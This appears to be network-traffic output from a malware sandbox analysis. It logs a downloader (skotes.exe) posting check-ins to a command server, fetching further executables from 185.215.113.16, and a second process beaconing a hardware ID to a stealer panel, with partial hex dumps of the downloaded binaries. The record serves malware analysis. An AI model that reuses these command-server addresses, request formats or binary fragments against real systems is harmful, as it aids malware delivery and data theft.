mode.$PELJf`1@1p.@Wk ^@.rsrc n@.idata n@qpjfxxrcP+N+p@xsxailusP1-@.taggant0`1"-@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.8	49727	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:15.007858038 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 37 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000776001&unit=246122658369
Oct 22, 2024 19:25:15.938949108 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.8	49728	185.215.113.16	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:15.947551966 CEST	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 22, 2024 19:25:16.848735094 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:16 GMT Content-Type: application/octet-stream Content-Length: 1826304 Last-Modified: Tue, 22 Oct 2024 17:09:55 GMT Connection: keep-alive ETag: "6717dc63-1bde00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 00 30 69 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 69 00 00 04 00 00 f3 92 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$0i@`i@P%d% %(@.rsrc %8@.idata %8@ )%:@yquqvaggO\|<@kkcxorqu i@.taggant00i"@
Oct 22, 2024 19:25:16.848767996 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 22, 2024 19:25:16.848784924 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 22, 2024 19:25:16.848800898 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 22, 2024 19:25:16.848815918 CEST	1236	IN	Data Raw: be 51 04 61 56 8c 69 4d dd 91 38 b9 b2 a9 20 88 35 11 4f 7e b1 83 d5 83 41 89 3a c3 03 f3 11 87 63 51 e4 b5 59 f8 fc 21 85 17 3c 83 05 ba d9 96 ed 7b 10 97 99 45 f0 0a 7b aa 9f 87 b3 5e 8a 0e 6c 8c fa bf a5 1d ee 31 e6 15 3c 62 02 49 1d d0 e6 45 Data Ascii: QaViM8 5O~A:cQY!<{E{^l1<bIE7F#PSXh 1w]\|rLQ\][&Bn@4`d+X{U}>^AY8pG q=y{zx7qZ6,'LF
Oct 22, 2024 19:25:16.848840952 CEST	1236	IN	Data Raw: 11 a5 26 59 3e af 3e 2e 55 3f 89 b9 79 ad 50 88 8d 5d ea b5 d2 dc 9d 2c 4e d0 32 4d 5b 8b 0e 7f 2b 85 fc d4 a2 88 01 f4 bd 51 ae 1d e5 f4 3d ac f2 13 50 79 3f 12 bd 20 b4 74 7d 20 4b 39 a1 bb 2c 23 c7 17 ed 38 18 f9 1d a2 e9 3b d2 c6 8f 5f f0 7d Data Ascii: &Y>>.U?yP],N2M[+Q=Py? t} K9,#8;_}_0\|jecp#9U4p g`'t2BDYAeJ,{>kPYHtCd0X)smp6RbRXI\|Q{0fhiyh Bf)1\|vQ<
Oct 22, 2024 19:25:16.848859072 CEST	1236	IN	Data Raw: d8 4d 10 25 4e bb 21 07 b8 7e 61 27 52 92 59 07 a1 7d bb 53 8b c0 5b 02 68 59 d0 d4 55 bb 19 07 72 7e 8e 98 55 8c af b6 5e bc 19 88 25 05 19 17 a1 89 fb 73 40 7e 0a 6c e8 ec 4c 20 d1 82 e9 8b 6a 79 98 1c eb cd 2f a8 89 82 b3 74 8e 58 1b 28 eb 91 Data Ascii: M%N!~a'RY}S[hYUr~U^%s@~lL jy/tX(S{MJx>mXJ mgM5]=}?`&A&a`%)ta]S\YyR-QPviQ;7/mSP#PmsP
Oct 22, 2024 19:25:16.848874092 CEST	1236	IN	Data Raw: 6d c1 12 2e 89 db 12 c8 57 c5 17 9c 91 36 48 3e a9 82 1b e4 d0 a4 85 e5 aa ea a3 74 60 05 4a 16 82 16 c9 34 71 39 13 b6 f8 bc 22 80 41 39 10 38 6b 49 1c 68 5b 0d e2 27 7b e1 8b 74 60 65 4a 41 80 d1 e3 bc 50 d5 3b 10 32 8b b5 8d 60 fd 88 73 71 b1 Data Ascii: m.W6H>t`J4q9"A98kIh['{t`eJAP;2`sq&u`SDY*YYn_My:q\0`$0gis>Ob`3Q4,d'A\i7=Lkh;O
Oct 22, 2024 19:25:16.848892927 CEST	1236	IN	Data Raw: 8e de 4f 10 f0 75 35 14 66 82 88 80 1d 36 10 90 6b 31 1b bd 64 21 b0 4b 11 7a 1c 40 d1 ab 8f 90 05 5f 62 50 60 89 8f 80 60 ca cb fc 38 15 ea 6b b9 0f 79 db 1d 11 ec b9 f7 8a 8c f1 cf e1 f8 ae 59 d9 9b 0f 6a 4f 9e 00 15 90 eb 96 60 c9 23 a3 d7 d4 Data Ascii: Ou5f6k1d!Kz@_bP``8kyYjO`#\|z9k386b`i3?1U:&k}Jc`EM&)OKttMZODw`$OI4%e7M\|JJHXoS
Oct 22, 2024 19:25:16.848908901 CEST	1236	IN	Data Raw: 54 71 94 d6 c3 14 05 ec 23 ef 7f 08 6a 11 1b dc 5c 22 25 31 ce e6 6f 25 04 dd 1f 67 3a 36 15 08 e0 c0 e9 0f 71 26 1f 0d d2 de 23 28 bc 37 4d c9 a6 ec 8b 18 19 ba d3 fc 6d 42 28 a0 d7 1a 59 f1 f3 f6 53 ee 88 66 db 8a b5 29 e0 07 88 14 cc 73 04 9d Data Ascii: Tq#j\"%1o%g:6q&#(7MmB(YSf)saSwOFTEbQ'Ph\%p"^\|K^8dOmms6<fe~,/H4\>v!X<&t3JR`9THsJ,y+Z_
Oct 22, 2024 19:25:16.854947090 CEST	1120	IN	Data Raw: 87 c2 3f 9d d0 8c 40 ff 3a 2d e6 da 00 39 9b 5e 85 31 3a e0 2a 02 70 88 b5 15 fd c2 4c f1 88 62 3b b1 01 fb 89 77 36 48 e8 be 18 51 21 6b dc 96 54 73 28 54 43 dc a1 e7 3a c2 7b 2b 31 75 6e 39 38 fd 80 ca 8b 69 6f f2 60 65 ea 61 59 8b 32 91 fd 67 Data Ascii: ?@:-9^1:*pLb;w6HQ!kTs(TC:{+1un98io`eaY2g}=eP>~cVzcUa&p AK$/ao,a:AIoz2!HQ$!S:.\|$A--VA[oqU:Kh'?9SY:^yu8yiM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.8	49732	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:20.680145979 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 37 37 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000777001&unit=246122658369
Oct 22, 2024 19:25:21.601389885 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.8	49734	185.215.113.37	80	8036	C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:21.239634991 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 22, 2024 19:25:22.167144060 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:25:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 22, 2024 19:25:22.172791958 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KFIDBAFHCAKFBGCBFHIJ Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 38 35 37 45 36 41 43 46 38 31 33 31 30 31 39 36 39 33 31 36 33 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4b 46 49 44 42 41 46 48 43 41 4b 46 42 47 43 42 46 48 49 4a 2d 2d 0d 0a Data Ascii: ------KFIDBAFHCAKFBGCBFHIJContent-Disposition: form-data; name="hwid"1857E6ACF8131019693163------KFIDBAFHCAKFBGCBFHIJContent-Disposition: form-data; name="build"doma------KFIDBAFHCAKFBGCBFHIJ--
Oct 22, 2024 19:25:22.462292910 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 22 Oct 2024 17:25:22 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.8	49735	185.215.113.16	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:21.609965086 CEST	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 22, 2024 19:25:22.514238119 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:22 GMT Content-Type: application/octet-stream Content-Length: 919552 Last-Modified: Tue, 22 Oct 2024 17:12:08 GMT Connection: keep-alive ETag: "6717dce8-e0800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 e0 dc 17 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 58 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELg"Xw@`2@@@d\|@(u4@.text `.rdata@@.datalpH@.rsrc(@@@.relocuv@B
Oct 22, 2024 19:25:22.514353037 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h#DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY
Oct 22, 2024 19:25:22.514364958 CEST	1236	IN	Data Raw: b7 6c fd ff ff 8b ce e8 f7 ba 00 00 33 c9 c7 46 0c 01 00 00 00 89 0e 8b 03 8b 40 04 03 c7 39 88 98 fb ff ff 74 35 89 4d fc 51 8d 4d fc 51 8d 88 94 fb ff ff e8 2f 05 00 00 8b 03 8d 8f 98 fb ff ff 8b 40 04 03 c8 e8 c6 04 00 00 8b 03 8b 40 04 03 c7 Data Ascii: l3F@9t5MQMQ/@@ulIOkOu3_OO_`d<IvY\|#l)\DItv
Oct 22, 2024 19:25:22.514377117 CEST	336	IN	Data Raw: 7f 00 00 8d 8e 9c 00 00 00 e8 10 7f 00 00 8d 8e 8c 00 00 00 e8 05 7f 00 00 8d 4e 08 5e e9 00 00 00 00 56 57 8b f9 33 f6 8b 44 f7 04 85 c0 0f 85 4e 0d 04 00 46 83 fe 10 7c ee 5f 5e c3 53 56 8b f1 33 db 57 38 5e 09 0f 85 54 0d 04 00 38 5e 08 75 1c Data Ascii: N^VW3DNF\|_^SV3W8^T8^uNy8tQ~^_^[VN j@VYY^USVW{{u)E0~7GC{_^[u@]8@83Md3f2MA4Mj
Oct 22, 2024 19:25:22.514386892 CEST	1236	IN	Data Raw: 01 00 59 ff 75 08 8b f0 8b ce e8 11 00 00 00 8b 4f 04 89 4e 38 89 77 04 5e ff 07 5f 5d c2 04 00 55 8b ec 56 8b 75 08 57 8b f9 56 83 67 08 00 e8 eb e5 00 00 8a 46 10 8d 4f 20 88 47 10 8b 46 14 89 47 14 8a 46 18 88 47 18 8d 46 20 83 61 08 00 50 e8 Data Ascii: YuON8w^_]UVuWVgFO GFGFGF aPF0G0_^]33@AQQQQA,Q Q(Q0V&NW LjE$\|I IF^jA
Oct 22, 2024 19:25:22.514401913 CEST	1236	IN	Data Raw: cc 00 00 85 c0 78 0f 8d 4d ec e8 16 00 00 00 8b 4d 10 33 f6 88 01 8d 4d ec e8 ed af 00 00 8b c6 5e c9 c2 0c 00 8b 41 0c 83 e8 01 74 29 83 e8 01 0f 84 d4 07 04 00 83 e8 01 0f 84 bb 07 04 00 83 e8 01 74 19 83 e8 03 74 0d 48 83 e8 01 0f 85 97 07 04 Data Ascii: xMM3M^At)ttH9AxUSVu3WyQ>t(M@f9Xu8!tt_^3[]U3BSVWPPUUJ(MO1f~u6 t+u
Oct 22, 2024 19:25:22.514411926 CEST	1236	IN	Data Raw: c0 0f 85 7b 03 04 00 8b 18 8d 8d 6c ff ff ff e8 65 03 00 00 8b 85 70 ff ff ff 89 45 c0 8b 45 fc 85 c0 0f 88 7f 05 04 00 3b fb 0f 84 26 fe ff ff e9 72 05 04 00 83 38 05 0f 85 d0 fe ff ff ff 45 f4 8d 45 ec 89 7d ec 8d 8d 54 ff ff ff 50 47 e8 5a 03 Data Ascii: {lepEE;&r8EE}TPGZEHXE!#AjYf9HmME@E0u]uEuuSPuWAjYf9HEHOTE]
Oct 22, 2024 19:25:22.514424086 CEST	1236	IN	Data Raw: 01 04 00 83 7d 0c 00 0f 85 a9 01 04 00 83 7d 10 00 75 34 83 7d 14 00 0f 85 b8 01 04 00 83 7d 18 00 0f 85 b7 01 04 00 83 7d 1c 00 0f 85 b6 01 04 00 83 7d 20 00 75 19 83 7d 24 00 0f 85 7e 01 04 00 33 c0 5d c2 20 00 6a ff 6a 77 e9 73 01 04 00 6a ff Data Ascii: }}u4}}}} u}$~3] jjwsjjsjUVF}^W3jZQL>3YNF~F<BN$;\|SA23~,FDMEuNGA;\|u[_FMFML
Oct 22, 2024 19:25:22.514519930 CEST	1236	IN	Data Raw: 00 8b d6 8b ce e8 8a ff ff ff ff 75 0c 51 56 8b cf e8 71 07 00 00 59 50 56 8b cf e8 77 16 00 00 5f 5e c9 c2 10 00 55 8b ec 83 ec 74 53 56 33 db 8d 4d 94 57 89 5d 90 e8 14 7b 00 00 ff 75 08 8d 4d 90 c7 45 a4 34 cc 49 00 89 5d a8 89 5d ac 89 5d b0 Data Ascii: uQVqYPVw_^UtSV3MW]{uME4I]]]]xMMEhIM'nj5MM]]]& ]MiVMzEPM@hIMmSjEPEP/yMihtIME
Oct 22, 2024 19:25:22.514533043 CEST	1236	IN	Data Raw: 78 76 00 00 8b 55 08 8d 83 84 01 00 00 c1 e2 04 03 c2 89 7d fc 3b f0 74 08 50 8b ce e8 c1 75 00 00 8b 45 08 8d 8b 8c 00 00 00 89 07 8d 45 fc 50 e8 07 00 00 00 5f 5e 5b c9 c2 04 00 55 8b ec 56 6a 08 8b f1 e8 ad ca 01 00 8b 55 08 59 8b c8 8b 12 83 Data Ascii: xvU};tPuEEP_^[UVjUYa~uNN^]FHUVEPPh1hIEt3fP7^VVYtf\|F\u3fLF^UVW3FO;
Oct 22, 2024 19:25:22.519939899 CEST	1236	IN	Data Raw: c0 23 c2 50 e8 f0 5b 00 00 5e 5d c2 04 00 55 8b ec 83 ec 10 53 8b c1 56 57 33 f6 89 45 f8 8b 78 04 89 7d f0 8d 57 ff 85 ff 74 4b 8b 45 08 0f b7 00 89 45 fc 33 db 33 c9 66 85 c0 74 30 8b 45 f8 8b 7d 08 8b 00 0f b7 04 50 89 45 f4 8b 45 fc 0f b7 c0 Data Ascii: #P[^]USVW3Ex}WtKEE33ft0E}PEEf9Et#C_fu}!_^[AUSVWh3D$D$SP9uM9uM9uMS

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.8	49738	185.215.113.43	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:25.834213972 CEST	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 30 37 37 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000778001&unit=246122658369
Oct 22, 2024 19:25:26.686403990 CEST	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.8	49740	185.215.113.16	80	7596	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 22, 2024 19:25:26.693530083 CEST	52	OUT	GET /test/num.exe HTTP/1.1 Host: 185.215.113.16
Oct 22, 2024 19:25:27.582053900 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 22 Oct 2024 17:25:27 GMT Content-Type: application/octet-stream Content-Length: 314368 Last-Modified: Sun, 29 Sep 2024 08:19:54 GMT Connection: keep-alive ETag: "66f90daa-4cc00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 bd cf 9d 43 f9 ae f3 10 f9 ae f3 10 f9 ae f3 10 96 d8 58 10 e1 ae f3 10 96 d8 6d 10 f4 ae f3 10 96 d8 59 10 c0 ae f3 10 f0 d6 70 10 fa ae f3 10 79 d7 f2 11 fb ae f3 10 f0 d6 60 10 fe ae f3 10 f9 ae f2 10 97 ae f3 10 96 d8 5c 10 eb ae f3 10 96 d8 6e 10 f8 ae f3 10 52 69 63 68 f9 ae f3 10 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 4a 9a f9 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 ce 01 00 00 1a 24 00 00 00 00 00 f0 69 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 10 26 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$CXmYpy`\nRichPELJf$i@&@(<%$.text .rdata@@.data#@.relocE%F@B
Oct 22, 2024 19:25:27.582089901 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 dc 41 00 00 00 00 00 00 00 00 00 81 ce 41 00 ea ce 41 00 00 00 00 Data Ascii: `AAAUQEE}tMUUEEE]UEExMUMMM]UQSjh0hAj(dE
Oct 22, 2024 19:25:27.582113028 CEST	1236	IN	Data Raw: 8b 8d 10 fc ff ff 51 83 ec 0c 8b cc 8d 95 04 fc ff ff 52 e8 eb 92 01 00 81 ec 88 00 00 00 8b cc 8d 45 08 50 e8 ca 00 00 00 8d 8d a4 fb ff ff 51 e8 be 3c 01 00 81 c4 a0 00 00 00 8d 8d a4 fb ff ff e8 1d 93 01 00 8d 8d f8 fb ff ff e8 e2 95 01 00 50 Data Ascii: QREPQ<Pd@5jjRAM]UQMM\|MHM<M0}MO]
Oct 22, 2024 19:25:27.582137108 CEST	436	IN	Data Raw: ff 51 ff 15 9c a8 64 00 85 c0 74 16 68 04 53 42 00 8d 95 cc fe ff ff 52 ff 15 9c a8 64 00 85 c0 75 05 e9 7d 04 00 00 68 1f 0e 42 00 8d 8d 94 fe ff ff e8 98 8d 01 00 83 7d 30 00 0f 84 e6 00 00 00 8d 45 24 50 8d 8d 6c fd ff ff 51 68 fc 54 42 00 8d Data Ascii: QdthSBRdu}hB}0E$PlQhTBxRPQhTTBREPQhSBREPQ}PZlx
Oct 22, 2024 19:25:27.582159042 CEST	1236	IN	Data Raw: 8c 01 00 8d 8d 54 fd ff ff e8 cd 8c 01 00 8d 8d 60 fd ff ff e8 c2 8c 01 00 83 ec 0c 8b cc 8d 95 94 fe ff ff 52 e8 51 8c 01 00 e8 3c 72 01 00 83 c4 0c 85 c0 0f 84 ab 02 00 00 68 22 0e 42 00 8d 8d 80 fe ff ff e8 d1 8b 01 00 68 9c 57 42 00 8d 85 fc Data Ascii: T`RQ<rh"BhWBPMQRhVBPdQ RgP) }0t0PQP
Oct 22, 2024 19:25:27.582179070 CEST	212	IN	Data Raw: 00 10 00 00 f7 f1 85 d2 74 0c 8b 55 08 81 c2 00 10 00 00 89 55 08 8b 45 08 c1 e8 0c 5d c3 cc cc cc cc cc cc cc cc cc 55 8b ec 83 ec 08 8b 45 08 89 45 f8 8b 4d 08 8b 51 04 2b 55 0c c1 e2 0c 03 55 f8 89 55 f8 8b 45 f8 89 45 fc 8b 4d 08 8b 51 04 2b Data Ascii: tUUE]UEEMQ+UUUEEMQ+UEPMUQEMHUEHJUztEHUQEMHUEE]Ud;EuMdUBMAUBEM
Oct 22, 2024 19:25:27.582196951 CEST	1236	IN	Data Raw: 0c 8b 51 08 89 50 08 8b 45 0c 83 78 08 00 74 0c 8b 4d 0c 8b 51 08 8b 45 08 89 42 0c 8b 45 08 5d c3 cc cc 55 8b ec 8b 45 08 83 c0 10 5d c3 cc cc cc cc cc 55 8b ec 8b 45 08 83 e8 10 5d c3 cc cc cc cc cc 55 8b ec 83 ec 0c 83 3d 90 a9 64 00 00 75 12 Data Ascii: QPExtMQEBE]UE]UE]U=duh hD2EPEMQdR]E}uEPdQAE}u3TUjaEM9A~*UB+EPMQpEU
Oct 22, 2024 19:25:27.582214117 CEST	1236	IN	Data Raw: 42 00 68 24 1f 42 00 e8 13 20 00 00 83 c4 0c a3 24 a4 64 00 6a 0d 68 30 1f 42 00 68 40 1f 42 00 e8 fa 1f 00 00 83 c4 0c a3 cc a1 64 00 6a 09 68 50 1f 42 00 68 5c 1f 42 00 e8 e1 1f 00 00 83 c4 0c a3 94 a3 64 00 6a 14 68 68 1f 42 00 68 80 1f 42 00 Data Ascii: Bh$B $djh0Bh@BdjhPBh\BdjhhBhB(djhBhBdjhBhBPdjhBhB}@djhBhBddjhBhBKdjhBh B2
Oct 22, 2024 19:25:27.582231045 CEST	1236	IN	Data Raw: 38 24 42 00 68 48 24 42 00 e8 3d 1b 00 00 83 c4 0c a3 88 a4 64 00 6a 08 68 58 24 42 00 68 64 24 42 00 e8 24 1b 00 00 83 c4 0c a3 28 a6 64 00 6a 0e 68 70 24 42 00 68 80 24 42 00 e8 0b 1b 00 00 83 c4 0c a3 4c a4 64 00 6a 09 68 90 24 42 00 68 9c 24 Data Ascii: 8$BhH$B=djhX$Bhd$B$(djhp$Bh$BLdjh$Bh$Bdjh$Bh$BLdjh$Bh$Bhdjh$Bh$B\djh$Bh%Bdj h%Bh<%Budjh`%Bhp%B\
